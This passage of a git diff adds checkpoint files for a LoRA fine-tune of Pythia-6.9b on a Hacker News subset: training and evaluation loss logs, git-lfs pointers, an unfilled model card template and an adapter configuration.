"eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 4.028053283691406, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5562, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 3.0449891090393066, + "eval_runtime": 43.7929, + "eval_samples_per_second": 22.835, + "eval_steps_per_second": 2.854, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.9524431228637695, + "learning_rate": 2.962962962962963e-06, + "loss": 1.6302, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 3.04494047164917, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9773013591766357, + "learning_rate": 1.777777777777778e-06, + "loss": 1.6163, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 3.045328140258789, + "eval_runtime": 43.8177, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 660 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.081480751087616e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..438a4f047baaa63316e44abc882318b0655b84a1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5a770578b0048f28c9f46f5bce9f41da6239078ad0b9972309451f4ce78ae791 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..26d90f3c7255da35be1974496961e143dc06c5ae --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7feb08e3da5f5e7b27c65105a7ecf8ac8cbaab2995e3f6cd33acd175487ec2a5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b50ed8357a00070f99a52843c3e3d150dbd5b1aa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5bb0850ed44e50e4ccb2afc9aab9a80c17a31208454b069930105956f7f9a183 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..72ac93ee4249bf1220c3ed82f099c14ae0267a68 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:886b6be563b163a73eaac3a0ce905ce45ea5202bed173e897fec04ed18434edc +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8a37e54c670bcb2155c3d33ec156b2ead3160ced --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/trainer_state.json @@ -0,0 +1,1038 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.933333333333334, + "eval_steps": 10, + "global_step": 670, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 